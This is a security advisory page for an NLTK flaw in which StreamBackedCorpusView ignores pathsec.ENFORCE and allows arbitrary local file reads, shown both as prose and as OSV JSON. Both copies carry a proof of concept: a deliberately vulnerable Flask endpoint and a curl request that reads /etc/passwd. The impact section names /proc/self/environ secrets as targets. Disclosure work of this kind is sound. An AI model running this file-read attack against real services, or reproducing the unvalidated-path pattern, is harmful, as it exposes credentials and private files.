GHSA-X5PH-MJ9P-RFR8
Vulnerability from github – Published: 2026-09-08 15:27 – Updated: 2026-09-08 15:27Summary
Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validate_path() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.
Details
nltk/pathsec.py:274 defines the enforcement point:
def open(file, mode="r", **kwargs):
validate_path(file, context="pathsec.open")
return builtins.open(file, mode=mode, **kwargs)
StreamBackedCorpusView._open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:
# line 171 — no validate_path() call
self._eofpos = os.stat(self._fileid).st_size
# line 208 — calls builtins.open directly
self._stream = open(self._fileid, "rb")
Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.
PoC
# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass
from flask import Flask, request, jsonify
import nltk.pathsec as ps
from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block
# Strict mode enabled — expected to sandbox all file access
ps.ENFORCE = True
app = Flask(__name__)
@app.post("/read")
def read_file():
fname = request.json.get("file")
# fileid is user-controlled, passed directly to StreamBackedCorpusView
# pathsec.ENFORCE = True is ignored — builtins.open() called internally
view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8")
return jsonify({"file": fname, "content": view[0]})
app.run(host="0.0.0.0", port=8000)
Trigger:
curl -s -X POST http://localhost:8000/read \
-H "Content-Type: application/json" \
-d '{"file": "/etc/passwd"}'
Confirmed on latest stable NLTK. No privileges required.
Impact
- Type: Arbitrary Local File Read / Security Control Bypass
- CWE: CWE-22, CWE-284
- OWASP: A01:2021 – Broken Access Control
Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWS_SECRET_ACCESS_KEY, DATABASE_URL, etc.), and application config files.
The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.
Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validate_path().
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.9.4"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-63312"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-08T15:27:32Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nSetting `nltk.pathsec.ENFORCE = True` is documented to sandbox all file access to allowed NLTK data directories and raise `PermissionError` on unauthorized access. However, `StreamBackedCorpusView` opens files via `builtins.open()` directly, bypassing `pathsec.validate_path()` entirely. An attacker who can influence the `fileid` argument can read arbitrary local files regardless of the `ENFORCE` setting.\n\n## Details\n`nltk/pathsec.py:274` defines the enforcement point:\n```python\ndef open(file, mode=\"r\", **kwargs):\n validate_path(file, context=\"pathsec.open\")\n return builtins.open(file, mode=mode, **kwargs)\n```\n\n`StreamBackedCorpusView._open()` in `nltk/corpus/reader/util.py` bypasses this entirely for string paths:\n\n```python\n# line 171 \u2014 no validate_path() call\nself._eofpos = os.stat(self._fileid).st_size\n\n# line 208 \u2014 calls builtins.open directly\nself._stream = open(self._fileid, \"rb\")\n```\n\nAlso affected: `XMLCorpusView` and any corpus reader subclass that passes a raw string `fileid` to `StreamBackedCorpusView`.\n\n## PoC\n```python\n# poc_server.py \u2014 StreamBackedCorpusView pathsec.ENFORCE bypass\nfrom flask import Flask, request, jsonify\nimport nltk.pathsec as ps\nfrom nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block\n\n# Strict mode enabled \u2014 expected to sandbox all file access\nps.ENFORCE = True\n\napp = Flask(__name__)\n\n@app.post(\"/read\")\ndef read_file():\n fname = request.json.get(\"file\")\n # fileid is user-controlled, passed directly to StreamBackedCorpusView\n # pathsec.ENFORCE = True is ignored \u2014 builtins.open() called internally\n view = StreamBackedCorpusView(fname, read_line_block, encoding=\"utf8\")\n return jsonify({\"file\": fname, \"content\": view[0]})\n\napp.run(host=\"0.0.0.0\", port=8000)\n```\nTrigger:\n```\ncurl -s -X POST http://localhost:8000/read \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"file\": \"/etc/passwd\"}\u0027\n```\nConfirmed on latest stable NLTK. No privileges required.\n\n## Impact\n- **Type:** Arbitrary Local File Read / Security Control Bypass\n- **CWE:** CWE-22, CWE-284\n- **OWASP:** A01:2021 \u2013 Broken Access Control\n\nAffects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the `fileid` passed to NLTK corpus readers. Sensitive targets include `/etc/passwd`, `/proc/self/environ` (may contain `AWS_SECRET_ACCESS_KEY`, `DATABASE_URL`, etc.), and application config files.\n\nThe core issue is that operators who explicitly set `ENFORCE = True` to harden production deployments are left with a **false security guarantee**.\n\n**Suggested fix:** Replace `builtins.open()` and `os.stat()` in the string-path branch with `nltk.pathsec.open()` and `nltk.pathsec.validate_path()`.",
"id": "GHSA-x5ph-mj9p-rfr8",
"modified": "2026-09-08T15:27:33Z",
"published": "2026-09-08T15:27:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-x5ph-mj9p-rfr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63312"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/pull/3588"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/674ea75accdf08eca3782dee0a9c4ed7e0d0025b"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3730.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-streambackedcorpusview-bypasses-pathsec-enforce-arbitrary-file-read"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.